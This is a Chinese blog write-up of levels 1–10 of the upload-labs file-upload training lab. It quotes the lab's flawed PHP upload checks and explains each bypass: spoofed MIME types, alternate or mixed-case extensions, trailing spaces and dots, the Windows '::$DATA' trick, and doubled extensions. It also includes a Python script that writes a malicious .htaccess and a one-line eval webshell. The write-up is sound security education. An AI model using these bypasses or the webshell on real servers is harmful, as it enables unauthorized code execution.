upload-labs(上)1~10

原創 ChenZIDu 2020-06-17 10:45

upload-labs(下)傳送門
分開是因爲字數太多了。。。CSDN又沒有目錄
如果要看全篇含目錄可以去我博客上看。
ChenZIDu

Pass-01

第一關，本來想抓包上傳的，發現代理之後還提醒我不能上傳php的說明，判斷是前端的！查看源碼，發現是jS判斷後綴。。。。
在這裏插入圖片描述
覆蓋原先JS裏面的內容完成上傳
在這裏插入圖片描述

Pass-02

第二關將後綴，改爲jpg，抓包後改爲php再上傳，沒看到我上傳的upload路徑，還以爲我錯了，看了下源碼，就是通過mime來驗證,沒錯下一題。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯！';
            }
        } else {
            $msg = '文件類型不正確，請重新上傳！';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夾不存在,請手工創建！';
    }
}

Pass-03

上傳了PHP，彈窗說asp、php等被過濾，就判斷是特判了，將php改成了php5。
不允許上傳.asp,.aspx,.php,.jsp後綴文件，但是可以上傳其他任意後綴。比如說:.phtml .phps .php5 .pht，但如果上傳的是.php5這種類型文件的話，如果想要被當成php執行的話，需要有個前提條件，即Apache的httpd.conf有如下配置代碼

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

AddType 指令：在給定的文件擴展名與特定的內容類型之間建立映射

但是03，沒有過濾htaccess,所以可以直接上傳htaccess，將jpg後綴解析爲php文件

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上傳出錯！';
            }
        } else {
            $msg = '不允許上傳.asp,.aspx,.php,.jsp後綴文件！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建！';
    }
}

Pass-04

過濾了好多好多好多好多後綴。。但是唯獨沒有過濾htaccess。。。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯！';
            }
        } else {
            $msg = '此文件不允許上傳!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建！';
    }
}

之前收藏了生成htaccess以及木馬的腳本。

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"


def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()


def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .lethe\n') # 將.lethe後綴的文件作爲php解析
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()


generate_htacess()

generate_php_file("shell.lethe", "<?php eval(@$_POST['a']); ?>")

在這裏插入圖片描述

Pass-05

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯！';
            }
        } else {
            $msg = '此文件類型不允許上傳！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建！';
    }
}

第五關雖然多了個htaccess，但是明顯發現比上次的少了PHP後綴的大小寫~

在這裏插入圖片描述

Pass-06

和上面代碼一樣，但是少了一行

$file_ext = trim($file_ext); //首尾去空
可以通過再php後面加空格來繞過！

在這裏插入圖片描述
在這裏插入圖片描述

Pass-07

和上面代碼一樣但是少了一行

$file_name = deldot($file_name);//刪除文件名末尾的點

可以在末尾加.來繞過！

在這裏插入圖片描述

Pass-08

少了這一句

$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

必須是windows, 必須是php, 必須是那個源文件
php在window的時候如果文件名+"::DATA"會把::DATA"會把::DATA之後的數據當成文件流處理,不會檢測後綴名.且保持"::$DATA"之前的文件名
他的目的就是不檢查後綴名…

也就是說當文件名爲" XX.php.::$DATA ",就可以繞過後綴檢測

在這裏插入圖片描述

應該是windows特性，會被默認爲文件流處理，但是由於靶機是linux,所以$DATA會被保留。

Pass-09

這題源碼

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//刪除文件名末尾的點
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //轉換爲小寫
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上傳出錯！';
            }
        } else {
            $msg = '此文件類型不允許上傳！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建！';
    }
}

是比較完整的源碼。看他源碼，先是刪除末尾的點，再進行末尾去空格。但是如果後綴還有個點的話，當服務器爲windows的話會被刪除，變成php文件進行解析。只限windows服務器。

在這裏插入圖片描述

Pass-10

源碼：

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上傳出錯！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請手工創建！';
    }
}

trim — 去除字符串首尾處的空白字符（或者其他字符），
所以雙寫即可繞過。

在這裏插入圖片描述
upload-labs(下)11-20

發表評論
所有評論
還沒有人評論，想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章

光標在input中的定位

[size=medium]IE下的Range操作比Mozilla下強很多，這裏只討論IE下的操作。 這裏選介紹幾個光標定位的特點： [b]1.光標不變

iteye_10364 2020-06-30 12:51:13

點擊，跳出一張新網頁

function newpage（）{ url = 'staff!selectone?tbr.iexpresscorpuserid='+id; var kk = window.showModalDialog(url,'

iteye_10364 2020-06-30 11:59:11

BJDCTF 2nd(WEB復現)

記錄一下，以後忘記了還能看看 fake google-飛機票 duangShell .index.php.swp源碼泄露 一進去提示我們：how can i give you source code? .swp?!,獲取源碼

ChenZIDu 2020-06-17 10:45:19

thinkphp、Yii框架的php框架安裝phinx同步數據庫

1、給當前的項目安裝Composer，代碼：curl -s https://getcomposer.org/installer | php 或用 p

Ga_Galin 2020-06-13 10:38:08

vue-cli反向代理以及axios使用

ChenZIDu 2020-06-01 23:15:27

GKCTF2020_web

ChenZIDu 2020-05-26 22:52:44

網鼎杯2020朱雀組-web

ChenZIDu 2020-05-19 18:23:50

網鼎杯2020青龍組-web

ChenZIDu 2020-05-18 10:39:38

Sqli-labs(Page-1)1-22

ChenZIDu 2020-04-26 19:00:21

[BJDCTF 2nd]fake google

ChenZIDu 2020-03-28 16:17:12

Flask框架實現MVC架構+sqlalchemy連接數據庫

ChenZIDu 2020-03-12 06:51:35

Flask框架環境搭建

ChenZIDu 2020-03-10 12:20:05

[SCTF2019]Flag Shop

.OnIsm 2020-03-05 16:08:07

vue路由history模式刷新頁面時頁面丟失時常見的兩種解決方法

Ga_Galin 2020-02-28 01:32:47

BJDCTF2020--web-復現

.OnIsm 2020-02-23 13:42:47